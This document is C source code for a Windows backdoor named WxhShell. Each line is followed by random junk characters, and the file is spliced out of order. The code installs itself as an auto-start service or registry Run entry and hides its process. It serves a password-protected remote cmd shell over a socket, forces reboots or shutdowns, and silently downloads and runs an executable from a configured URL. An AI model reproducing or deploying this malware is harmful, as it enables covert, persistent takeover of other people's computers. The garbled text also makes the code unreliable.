    } (o`{uj{!  
  // 关机 A~-b!Grf  
  case 'd': { 2}8v(%s p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GSH>7!.#  
    if(Boot(SHUTDOWN)) SL5Ai/X0N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !qG7V:6  
    else { j]`PSl+w  
    closesocket(wsh); Jv^h\~*jH  
    ExitThread(0); 9T<x&  
    } EFz&N\2  
    break; J{Q|mD=  
    } ~@}Bi@*  
  // 获取shell eio 4k-  
  case 's': { %7|9sQ:  
    CmdShell(wsh); rW$[DdFA5{  
    closesocket(wsh); s0vDHkf8  
    ExitThread(0); 9 AJ(&qY(  
    break; <7~'; K  
  } q<M2,YrbAI  
  // 退出 n rjE.+v  
  case 'x': { a |X a3E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GWfL  
    CloseIt(wsh); $&=S#_HQS  
    break; vam;4vyu  
    } 7'Mm205\  
  // 离开 $` ""  
  case 'q': { Hl,W=2N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *WuID2cOI  
    closesocket(wsh); %KLpig  
    WSACleanup(); 2Wdyxj Q  
    exit(1); 7<*yS310  
    break; +~p88;  
        } -qGa]a  
  } > ;*b|Ik  
  } |!4K!_y  
.6Pw|xu`Pw  
  // 提示信息 5?x>9C a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wfH^<jY)E  
} I`!<9OTBj  
  } DW[N|-L  
Vh4X%b$TV  
  return; BI%$c~wS  
} H:V2[y8\  
*_d7E   
// shell模块句柄 X9V*UXTc  
int CmdShell(SOCKET sock) ;>Ib^ov  
{ [MUpxOAsd  
STARTUPINFO si; u I )6M  
ZeroMemory(&si,sizeof(si)); ) AvN\sC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?Wlb3;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {ttysQ-  
PROCESS_INFORMATION ProcessInfo; MDnua  
char cmdline[]="cmd"; >G25m'&,7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); = %TWX[w  
  return 0; 9dx/hFA  
} ) b (B  
<eWf<  
// 自身启动模式 ZbdZ rE$  
int StartFromService(void) X4~y7  
{ b0Ps5G\ u  
typedef struct 3`DQo%<  
{ g,!L$,/F  
  DWORD ExitStatus; ?Lk)gO^C  
  DWORD PebBaseAddress; \"P%`  C  
  DWORD AffinityMask; V2wb%;q  
  DWORD BasePriority; sBT2j~jhJ  
  ULONG UniqueProcessId; [M=7M}f;  
  ULONG InheritedFromUniqueProcessId; ig/xv  
}   PROCESS_BASIC_INFORMATION; cK(C&NK  
GjvOM y  
PROCNTQSIP NtQueryInformationProcess; VA#"r!1  
I&x=;   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9y"@(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i9,ge Q7d  
p8Qk 'F=h  
  HANDLE             hProcess; 8;JWK3Gv  
  PROCESS_BASIC_INFORMATION pbi; '-Vt|O_Q  
. 1Dg s=|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )vE~'W  
  if(NULL == hInst ) return 0; t.i 8 2Q  
EM(gmWHij  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tEvut=k'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *0Skd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vApIHI?-  
G[uK-U  
  if (!NtQueryInformationProcess) return 0; (x;@%:3j$  
nFHUy9q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^ B fC  
  if(!hProcess) return 0; )q8pk2  
K0|FY=#2y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2*laAB  
#A JDWelD  
  CloseHandle(hProcess); 3u+T~g0^  
U:0mp"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V^bwXr4f  
if(hProcess==NULL) return 0; ?BeiY zg  
.ypL=~Rp  
HMODULE hMod; ^@s1Z7  
char procName[255]; Ot_]3:`J~  
unsigned long cbNeeded; 6]WAUK%h  
|\pj;XU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h+g_rvIG*  
t%/&c::(6  
  CloseHandle(hProcess); SJn;{X>)q  
[}E='m}u9+  
if(strstr(procName,"services")) return 1; // 以服务启动  M^=zt  
On9A U:\  
  return 0; // 注册表启动 @k,#L`3^  
} P~>O S5^  
"c%0P"u  
// 主模块 =(j1rW!  
int StartWxhshell(LPSTR lpCmdLine) |6sp/38#p  
{ _)3|f<E_t)  
  SOCKET wsl; 823Y\x~>  
BOOL val=TRUE; Q4#m\KK;i9  
  int port=0; \kL 3.W_  
  struct sockaddr_in door; -P$PAg5"2  
'uS n}hm  
  if(wscfg.ws_autoins) Install(); )l C)@H}  
7W Ly:E"  
port=atoi(lpCmdLine); uP)'FI  
BUDi& |,  
if(port<=0) port=wscfg.ws_port; *5C7d*'  
g[' ^L +hd  
  WSADATA data; qZ}^;)a^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vxBgGl  
e:DCej^z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oM>l#><nq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~ D j8 z+^  
  door.sin_family = AF_INET; oGnSPI5KGC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w e//|fA<  
  door.sin_port = htons(port); cJ= 6r :  
$f <(NM6?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]nn98y+  
closesocket(wsl); !Iy_UfW  
return 1; V(I8=rVH  
} $Vg>I>i  
EU/C@B2*Dl  
  if(listen(wsl,2) == INVALID_SOCKET) { C_}]`[  
closesocket(wsl); {H>gtpVy  
return 1; mp1@|*Sn  
} F]O`3 e=!  
  Wxhshell(wsl); Cw3 a0u  
  WSACleanup(); ?=sDM& '  
J/y83@  
return 0; O3,jg |,  
yLvDMPj  
} #CTE-W"|HE  
D0-3eV -  
// 以NT服务方式启动 z#wkiCRYm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T4Uev*A  
{ <44G]eb  
DWORD   status = 0; hD 82tr  
  DWORD   specificError = 0xfffffff; oWT3apGO  
y'.p&QH'`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sUO`uqZV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z\W64^'"Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,]F,Uu_H7  
  serviceStatus.dwWin32ExitCode     = 0; W aRw05r  
  serviceStatus.dwServiceSpecificExitCode = 0; 76{G'}B  
  serviceStatus.dwCheckPoint       = 0; Jq-]7N%k/  
  serviceStatus.dwWaitHint       = 0; 7;(`MIFXs  
^}=,g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~Fcm[eoC  
  if (hServiceStatusHandle==0) return; kiaw4_  
Ty?cC**  
status = GetLastError(); z2~ til  
  if (status!=NO_ERROR) /{ g>nzP  
{ kS);xA8s]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L~OvY  
    serviceStatus.dwCheckPoint       = 0; b{&)6M)zo  
    serviceStatus.dwWaitHint       = 0; M'O <h  
    serviceStatus.dwWin32ExitCode     = status; ?dg [:1R}  
    serviceStatus.dwServiceSpecificExitCode = specificError; Se}c[|8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j3V -LnA  
    return; 194)QeoFw  
  } ydA8wL  
TF\C@4Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S9y}  
  serviceStatus.dwCheckPoint       = 0; b2Fe<~S{  
  serviceStatus.dwWaitHint       = 0; K($Npuu]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (y~TL*B  
} mO7]9 p  
+~$ ]} %  
// 处理NT服务事件,比如:启动、停止 !wVM= z^G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <iC(`J$D  
{ j</: WRA`]  
switch(fdwControl) g*_&  
{ %ntRG !  
case SERVICE_CONTROL_STOP: Xc-'Y"}|`t  
  serviceStatus.dwWin32ExitCode = 0; T.BW H2gRP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A?P_DA  
  serviceStatus.dwCheckPoint   = 0; 6%_nZvRv  
  serviceStatus.dwWaitHint     = 0; UB@+c k  
  { K+3=tk]W9u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +I|vzz`ZVr  
  } 2HA:"v8  
  return; ^\=`edN0  
case SERVICE_CONTROL_PAUSE: ^jZbo {  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m<Dy<((_I  
  break; FTUv IbT  
case SERVICE_CONTROL_CONTINUE: LU%E:i|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yR{3!{r3(  
  break; f.$af4 u  
case SERVICE_CONTROL_INTERROGATE: C_JNX9wv  
  break; ^hM4j{|&M  
}; dUZ ,m9u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;4|15S  
} q>+k@>bk @  
@q7I4  
// 标准应用程序主函数 S4z;7z(8+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Why`ziks  
{ p_%Rt"!  
sUQ@7sTj  
// 获取操作系统版本 2fd{hJDq;5  
OsIsNt=GetOsVer(); H<,gU`&R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bq*eH (qx  
\_f(M|  
  // 从命令行安装 on `3&0,.  
  if(strpbrk(lpCmdLine,"iI")) Install(); <>rneHl8  
m;QMQeGz  
  // 下载执行文件 hz@bW2S.  
if(wscfg.ws_downexe) { E ~<JC"]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ](8[}CeL  
  WinExec(wscfg.ws_filenam,SW_HIDE); '5$b-x6F  
} >|UOz&  
j A%u 5V  
if(!OsIsNt) { /*mI<[xb  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^<2p~h0 \  
HideProc(); 8&slu{M- t  
StartWxhshell(lpCmdLine); + cN8Y}V  
} X l5 A 'h  
else 1mG-}  
  if(StartFromService()) 2P0*NQ   
  // 以服务方式启动 F={a;Dvrn  
  StartServiceCtrlDispatcher(DispatchTable); UP,c|  
else 83#mB:^R  
  // 普通方式启动 }o`76rDN  
  StartWxhshell(lpCmdLine); HG^'I+Yn  
vXje^>_6  
return 0; `b$.%S8uj=  
} ~Mxvq9vaD  
VMWf>ZU  
0@oJFJrO  
 2JBR)P  
=========================================== 4,DeHJjAlE  
t b}V5VH  
/k3:']G,s  
oCz/HQoBk  
/7YIn3  
<RL]  
" <)D$51 &0  
9\7en%(M  
#include <stdio.h> zTU0HR3A  
#include <string.h> 'D1xh~  
#include <windows.h> /j.9$H'y  
#include <winsock2.h> ;:NJCuG  
#include <winsvc.h> _oeS Uzq.  
#include <urlmon.h> gg2( 5FPP  
`;egv*!P  
#pragma comment (lib, "Ws2_32.lib") 3^yK!-Wp(  
#pragma comment (lib, "urlmon.lib") Nj/ x. X  
jmZI7?<z  
#define MAX_USER   100 // 最大客户端连接数 utV_W&  
#define BUF_SOCK   200 // sock buffer TM%%O :3  
#define KEY_BUFF   255 // 输入 buffer + {'.7#  
x[e<} 8'$(  
#define REBOOT     0   // 重启 =rdV ]{Wc  
#define SHUTDOWN   1   // 关机 tKXIk9e  
SE*g;Cvg1  
#define DEF_PORT   5000 // 监听端口 j0q&&9/Jj  
4j^ @wV'  
#define REG_LEN     16   // 注册表键长度 {+>-7 9b  
#define SVC_LEN     80   // NT服务名长度 r9?Mw06Wc5  
4o5t#qP5$S  
// 从dll定义API Jln:`!#fDf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jnwu9PQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TB31- ()  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^U/O !GK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZbKg~jdF  
`Urhy#LC  
// wxhshell配置信息 FGzwhgy  
struct WSCFG { 0w7DsPdS  
  int ws_port;         // 监听端口 ?}Y]|c^W  
  char ws_passstr[REG_LEN]; // 口令 YN5rml'-  
  int ws_autoins;       // 安装标记, 1=yes 0=no d&>^&>?$zh  
  char ws_regname[REG_LEN]; // 注册表键名 cH2K )~  
  char ws_svcname[REG_LEN]; // 服务名 -XG@'P_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GTHt'[t@;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R=\IEqqsi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~a2}(]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5[0?g@aO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f _:A0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zv{'MIv&v  
n `Ac 3A  
}; #KvlYZ+1  
CWKm(@"5  
// default Wxhshell configuration (/$^uWj  
struct WSCFG wscfg={DEF_PORT, {oL>1h,%3?  
    "xuhuanlingzhe", xoME9u0x4  
    1, ~"A0Rs=  
    "Wxhshell", r9XZ(0/p  
    "Wxhshell", s5. CFA  
            "WxhShell Service", 1xvu<|F  
    "Wrsky Windows CmdShell Service", r.U`Kh]K  
    "Please Input Your Password: ", 2~[juWbz  
  1, BTxrp  
  "http://www.wrsky.com/wxhshell.exe", kq-) ^,{y  
  "Wxhshell.exe" o2ECG`^b  
    }; B33\?Yj)  
8{ I|$*nB  
// 消息定义模块 /$%%s=@IL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l U]nd[x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7t3!) a|lI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +ZX{>:vo   
char *msg_ws_ext="\n\rExit."; # f\rt   
char *msg_ws_end="\n\rQuit."; 8zb /xP>  
char *msg_ws_boot="\n\rReboot..."; n=q 76W\  
char *msg_ws_poff="\n\rShutdown..."; 0n'_{\yz  
char *msg_ws_down="\n\rSave to "; cZ3v=ke^  
_yT Ed"$  
char *msg_ws_err="\n\rErr!"; '5tCz9}Y  
char *msg_ws_ok="\n\rOK!"; ?V=CB,^  
Iu6   
char ExeFile[MAX_PATH]; W%w~ah|/]  
int nUser = 0; 0*v2y*2V  
HANDLE handles[MAX_USER]; Gq P5Kx+=  
int OsIsNt; $:^td/p J  
,#K'PB4E  
SERVICE_STATUS       serviceStatus; [D1Up  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 19] E 5'AI  
St^5Byd<  
// 函数声明 xyxy`qRA  
int Install(void); y B$x>Q'C(  
int Uninstall(void); n&!-9:0  
int DownloadFile(char *sURL, SOCKET wsh); }QmqoCAE~m  
int Boot(int flag); (h `V+  
void HideProc(void); !n%j)`0M  
int GetOsVer(void); nr3==21Om4  
int Wxhshell(SOCKET wsl); z@j8lv2j1  
void TalkWithClient(void *cs); H,NF;QPPC  
int CmdShell(SOCKET sock); rT>wg1:  
int StartFromService(void); Alq(QDs  
int StartWxhshell(LPSTR lpCmdLine); qxj(p o  
jb)ZLA;L_c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *NQ/UXE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jiC>d@~y  
v` r:=K  
// 数据结构和表定义 ,fRq5"?  
SERVICE_TABLE_ENTRY DispatchTable[] = Tsx>&WC  
{ oL<St$1  
{wscfg.ws_svcname, NTServiceMain}, KY^Z  
{NULL, NULL} D/' dTrR  
}; D43z9z-:L  
ss-D(K"  
// 自我安装 e:W{OIz:  
int Install(void) 6MI8zRX  
{ ,"ql5Q4  
  char svExeFile[MAX_PATH]; "Rl}VeDY  
  HKEY key; K<J9 ~  
  strcpy(svExeFile,ExeFile); DaVa}  
LIrb6g&xj_  
// 如果是win9x系统,修改注册表设为自启动 F:ELPs4"  
if(!OsIsNt) { .G\7cZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :E?V.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #A.@i+Zv  
  RegCloseKey(key); :gC#hmm^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BJ0?kX@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'B}qZCy W  
  RegCloseKey(key); 048kPXm`  
  return 0; XX~,>Q}H=  
    } ch]29  
  } wyG;8I  
} :Tq~8!s  
else { nRY5xRvK  
:hA#m[  
// 如果是NT以上系统,安装为系统服务 E\$W_Lmr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q@HV- (A  
if (schSCManager!=0) i mM_H;-X  
{ c`Wa^(  
  SC_HANDLE schService = CreateService tnIX:6  
  ( u=yOu^={  
  schSCManager, |cY`x(?yP  
  wscfg.ws_svcname, GKCroyor  
  wscfg.ws_svcdisp, 9!tW.pK5  
  SERVICE_ALL_ACCESS, \j.:3X r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @ .KGfNu  
  SERVICE_AUTO_START, |K~Nw&rZ]  
  SERVICE_ERROR_NORMAL, y> (w\K9W  
  svExeFile, xLn%hxm?,  
  NULL, H[|~/0?K  
  NULL, d!{r  v  
  NULL, q'11^V!0  
  NULL, B1Oq!k  
  NULL \[nut;  
  ); =Runf +}  
  if (schService!=0) LHmZxi?  
  { <6=c,y  
  CloseServiceHandle(schService);  C.QO#b  
  CloseServiceHandle(schSCManager); eiOW#_"\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9ll~~zF99|  
  strcat(svExeFile,wscfg.ws_svcname); "I TIhnE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5(8@%6>ruj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ct|A:/z(  
  RegCloseKey(key); A70d\i  
  return 0; 'H!XUtFs"  
    } FgI3   
  } y!%CffF2  
  CloseServiceHandle(schSCManager); ?hM64jI|  
} /Q )\+  
} j~QwV='S  
Qei" '~1a  
return 1; \di=  
} R GX=)  
c"xK`%e  
// 自我卸载 UZ$/Ni  
int Uninstall(void) ,=N.FS  
{ k+4#!.HX^  
  HKEY key; Cls%M5MH  
07$o;W@  
if(!OsIsNt) { '3H_wd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |)G<,FJQE_  
  RegDeleteValue(key,wscfg.ws_regname); (tQc  
  RegCloseKey(key); vcd\GN*4f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { { BHO/q3  
  RegDeleteValue(key,wscfg.ws_regname); G#1GXFDO{  
  RegCloseKey(key); PxE3K-S)G  
  return 0; \|ao`MMaD<  
  } v.ui!|c  
} bu"!jHPB  
} 0|b>I!_"g  
else { &VcV$8k  
1i ] ^{;]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W}1 ;Z(.*  
if (schSCManager!=0) Tb-F]lg$  
{ .}*" Nv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UY 2OZ& &  
  if (schService!=0) 2Hv+W-6v  
  { Tac$LS\Q  
  if(DeleteService(schService)!=0) { m#F`] {  
  CloseServiceHandle(schService); 9)=ctoZ'  
  CloseServiceHandle(schSCManager); qjc4.,/  
  return 0;  RX5dO%  
  } 8KNZ](Dj  
  CloseServiceHandle(schService); b_):MQ1{  
  } 4'Zp-k?5`  
  CloseServiceHandle(schSCManager); d`6 ' Z  
} V470C@  
} qyNyBr?  
e~':(/%|5;  
return 1; k;L6R!V  
} D#)b+7N-  
E+JqWR5  
// 从指定url下载文件 d^6M9lGU  
int DownloadFile(char *sURL, SOCKET wsh) MqUH',\3  
{ 1!gbTeVlY  
  HRESULT hr; S Z$Kz n  
char seps[]= "/"; *WT`o>  
char *token; >dG[G>  
char *file; N.{D$"  
char myURL[MAX_PATH]; 6MkP |vr6  
char myFILE[MAX_PATH]; ;w[0t}dPl  
OydwE  
strcpy(myURL,sURL); #C3.Jef  
  token=strtok(myURL,seps); -D$8  
  while(token!=NULL) m9Hit8f@Q  
  { #1G:lhkC  
    file=token; xZv#Es%#  
  token=strtok(NULL,seps); pV"R|{#V  
  } N8FF3}> g  
@|%2f@h  
GetCurrentDirectory(MAX_PATH,myFILE); t`mV\)fa  
strcat(myFILE, "\\"); Wiu"k%Qsh  
strcat(myFILE, file); U`m54f@U  
  send(wsh,myFILE,strlen(myFILE),0); }AH] th  
send(wsh,"...",3,0); Z)aUt Srf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _f:W?$\ho  
  if(hr==S_OK) 7Rt9od< )!  
return 0; k)Qtfj}uij  
else 680o)hh4m>  
return 1; :Z z '1C  
\K!VNB>h  
} xK\d4 "  
e@OX_t_  
// 系统电源模块 9 |vLwQ  
int Boot(int flag) \} :PLCKT  
{ 5o8EC" 0  
  HANDLE hToken; %1$,Vs<RH  
  TOKEN_PRIVILEGES tkp; > "=>3  
HoL Et8Q  
  if(OsIsNt) { 3kMf!VL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FG*r'tC~r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ilx)*Y  
    tkp.PrivilegeCount = 1; Hg$lXtn]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,Vk3kmuvr]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0=E]cQwh  
if(flag==REBOOT) { $H>W|9Kg,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *w&Y$8c(  
  return 0; <yFu*(Q  
} fsWTF<Y  
else {  'CkIz"Wd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'y3!fN =h  
  return 0; Fun^B;GA:  
} vOpK Np  
  } ;VO:ph4Aj  
  else { <<R*2b  
if(flag==REBOOT) { b`O'1r\Y;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DZ PPJ2}  
  return 0; r? E)obE  
} QW(Mz Hg  
else { }@+:\   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~1vDV>dpE  
  return 0; [^98fAlz6  
} 7Da`   
} EA]U50L(  
1Z~FCJz  
return 1; lv+TD!b   
} hNmJ!Uo  
*6DB0X_-}  
// win9x进程隐藏模块 8C9-_Ng`  
void HideProc(void) "u^H# L>-q  
{ P! #[mio  
+s DV~\Vu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T <ET )D7  
  if ( hKernel != NULL ) &AbNWtCV+G  
  { *.d)OOpLo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \Et3|Iv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (S\[Y9  
    FreeLibrary(hKernel); U0N 60  
  } SmSH2m-  
e [mm  
return; 6.nCV 0xA  
} FSW_<%  
<+vw@M  
// 获取操作系统版本 +Kbjzh3<wG  
int GetOsVer(void) iVq'r4S  
{ F%D.zvKN  
  OSVERSIONINFO winfo; 9H`XeQ.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sZ/v^ xk  
  GetVersionEx(&winfo); 0*D$R`$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WuUk9_ g  
  return 1; zL`iK"N`  
  else MC.) 2B7  
  return 0; ofw3S |F6  
} qm8B8&-  
::{Q1F  
// 客户端句柄模块 2?ez,*-[  
int Wxhshell(SOCKET wsl) UIN<2F_  
{ hAnPXiD  
  SOCKET wsh; >rKIG~P_  
  struct sockaddr_in client; } .m<  
  DWORD myID; =QiI :|eRA  
mQ 26K~  
  while(nUser<MAX_USER) (b-MMr  
{ +V046goX W  
  int nSize=sizeof(client); 9} M?P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?:I*8Fj  
  if(wsh==INVALID_SOCKET) return 1; s/ qYa])  
"2$fi{9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ryUQU^v  
if(handles[nUser]==0) Tc`=f'pP)4  
  closesocket(wsh); peuZ&yK+"  
else 'UX!*5k<:  
  nUser++; [H^z-6x:0  
  } 9oR@U W1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;1O_M9  
tKx~1-  
  return 0; gS]@I0y8 .  
} ZWU)\}}_R  
-g Sa_8R  
// 关闭 socket `l){!rg8IC  
void CloseIt(SOCKET wsh) 4,gK[ dc  
{ H-*yh!  
closesocket(wsh); *>'V1b4}  
nUser--; (WO]Xq<  
ExitThread(0); <~'"<HwtK  
} `FDiX7M  
'+!1Y o'G  
// 客户端请求句柄 suiS&$-E  
void TalkWithClient(void *cs) /dQl)tL  
{ sF?TmBQ*  
Jg\zdi:t  
  SOCKET wsh=(SOCKET)cs; hl(hJfp  
  char pwd[SVC_LEN]; 1&evG-#<:  
  char cmd[KEY_BUFF]; Gm.T;fc:  
char chr[1]; u jq=F  
int i,j; 9gEwh<  
?; +1)>{  
  while (nUser < MAX_USER) { ]kRfB:4ED  
"ZoRZ'i  
if(wscfg.ws_passstr) { z] P SpUd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }mq6]ZrK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dIa+K?INX  
  //ZeroMemory(pwd,KEY_BUFF); xU>WEm2  
      i=0; a#y;dK  
  while(i<SVC_LEN) { l%puHZ)t  
5Y'qaIFR  
  // 设置超时  ~f1%8z  
  fd_set FdRead; lVR~Bh  
  struct timeval TimeOut; T?soJ]A  
  FD_ZERO(&FdRead); E=CsIK   
  FD_SET(wsh,&FdRead); E+R1 !.  
  TimeOut.tv_sec=8; q`H_M{26!y  
  TimeOut.tv_usec=0; mD0f<gJ1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m=A(NKZ   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M!A}NWF  
A8fOQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;F!5%}OcL%  
  pwd=chr[0]; q?oP?cCw  
  if(chr[0]==0xd || chr[0]==0xa) { w QH<gJE/:  
  pwd=0; (*nT(Adk  
  break; EZy)A$|  
  } +]A:M6P:{v  
  i++; nE&@Q  
    } 1s2>C!\  
EQyC1j  
  // 如果是非法用户,关闭 socket LX7FaW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '4Ixqb+  
} B^Nf #XN(  
;R5`"`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %C'?@,7C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &Gn 2tr  
W5lR0)~#*  
while(1) { H*QIB_  
zyc"]IzOU  
  ZeroMemory(cmd,KEY_BUFF); c~$)UND^  
o]` *M|  
      // 自动支持客户端 telnet标准   @+M /&  
  j=0; KL:j?.0  
  while(j<KEY_BUFF) { .TR9975  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {M$1N5Eh  
  cmd[j]=chr[0]; !M]uL&:  
  if(chr[0]==0xa || chr[0]==0xd) { z(exA  
  cmd[j]=0; nntuLuW  
  break; >#;.n(y  
  } ?WUA`/[z  
  j++; c74.< @w  
    } `d +Da=L  
m )zUU  
  // 下载文件 -MO#]K3<  
  if(strstr(cmd,"http://")) { ./k/KSR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @ ZwvBH  
  if(DownloadFile(cmd,wsh)) G5RR]?@6V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5C*Pd Wpl  
